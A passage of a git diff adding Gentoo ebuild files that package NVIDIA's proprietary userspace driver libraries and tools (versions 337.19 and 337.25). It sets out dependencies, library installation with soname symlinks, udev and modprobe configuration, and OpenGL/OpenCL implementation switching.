+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? (
+ <x11-base/xorg-server-1.15.99
+ >=x11-libs/libvdpau-0.3-r1
+ )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S=${WORKDIR}/
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_postinst, see bug #491414
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ # NVIDIA video encode/decode <-> CUDA
+ if use kernel_linux; then
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins ${NV_OBJ}/nvidia.icd
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
+ doman "${NV_MAN}/nvidia-cuda-mps-control.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-cuda-mps-control
+ doexe ${NV_OBJ}/nvidia-cuda-mps-server
+ doexe ${NV_OBJ}/nvidia-debugdump
+ doexe ${NV_OBJ}/nvidia-modprobe
+ doexe ${NV_OBJ}/nvidia-persistenced
+ doexe ${NV_OBJ}/nvidia-smi
+ doman nvidia-cuda-mps-control.1.gz
+ doman nvidia-modprobe.1.gz
+ doman nvidia-persistenced.1.gz
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ readme.gentoo_create_doc
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ readme.gentoo_print_elog
+
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-337.19.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-337.19.ebuild
new file mode 100644
index 00000000..731dc66c
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-337.19.ebuild
@@ -0,0 +1,353 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user udev
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="GPL-2 NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X uvm"
+RESTRICT="bindist mirror strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? (
+ || (
+ (
+ x11-libs/libX11[abi_x86_32]
+ x11-libs/libXext[abi_x86_32]
+ )
+ app-emulation/emul-linux-x86-xlibs
+ )
+ )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? (
+ <x11-base/xorg-server-1.15.99
+ >=x11-libs/libvdpau-0.3-r1
+ )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S=${WORKDIR}/
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() { :; }
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_preinst, see bug #491414
+ insinto /etc/modprobe.d
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+ use uvm && doins "${FILESDIR}"/nvidia-uvm.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ # NVIDIA framebuffer capture library
+ donvidia ${NV_OBJ}/libnvidia-fbc.so ${NV_SOVER}
+
+ # NVIDIA video encode/decode <-> CUDA
+ if use kernel_linux; then
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins ${NV_OBJ}/nvidia.icd
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
+ doman "${NV_MAN}/nvidia-cuda-mps-control.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-cuda-mps-control
+ doexe ${NV_OBJ}/nvidia-cuda-mps-server
+ doexe ${NV_OBJ}/nvidia-debugdump
+ doexe ${NV_OBJ}/nvidia-persistenced
+ doexe ${NV_OBJ}/nvidia-smi
+
+ # install nvidia-modprobe setuid and symlink in /usr/bin (bug #505092)
+ doexe ${NV_OBJ}/nvidia-modprobe
+ fowners root:video /opt/bin/nvidia-modprobe
+ fperms 4710 /opt/bin/nvidia-modprobe
+ dosym /{opt,usr}/bin/nvidia-modprobe
+
+ doman nvidia-cuda-mps-control.1.gz
+ doman nvidia-modprobe.1.gz
+ doman nvidia-persistenced.1.gz
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ readme.gentoo_create_doc
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libEGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libGLESv1_CM.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-eglcore.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-glsi.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-ifr.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+
+ # GLES v2 libraries
+ insinto ${GL_ROOT}
+ doexe ${libdir}/libGLESv2.so.${PV}
+ dosym libGLESv2.so.${PV} ${GL_ROOT}/libGLESv2.so.2
+ dosym libGLESv2.so.2 ${GL_ROOT}/libGLESv2.so
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ readme.gentoo_print_elog
+
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-337.25.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-337.25.ebuild
new file mode 100644
index 00000000..559555b4
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-337.25.ebuild
@@ -0,0 +1,353 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user udev
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="GPL-2 NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X uvm"
+RESTRICT="bindist mirror strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? (
+ || (
+ (
+ x11-libs/libX11[abi_x86_32]
+ x11-libs/libXext[abi_x86_32]
+ )
+ app-emulation/emul-linux-x86-xlibs
+ )
+ )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? (
+ <x11-base/xorg-server-1.16.99
+ >=x11-libs/libvdpau-0.3-r1
+ )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S=${WORKDIR}/
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() { :; }
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_preinst, see bug #491414
+ insinto /etc/modprobe.d
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+ use uvm && doins "${FILESDIR}"/nvidia-uvm.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ # NVIDIA framebuffer capture library
+ donvidia ${NV_OBJ}/libnvidia-fbc.so ${NV_SOVER}
+
+ # NVIDIA video encode/decode <-> CUDA
+ if use kernel_linux; then
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins ${NV_OBJ}/nvidia.icd
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
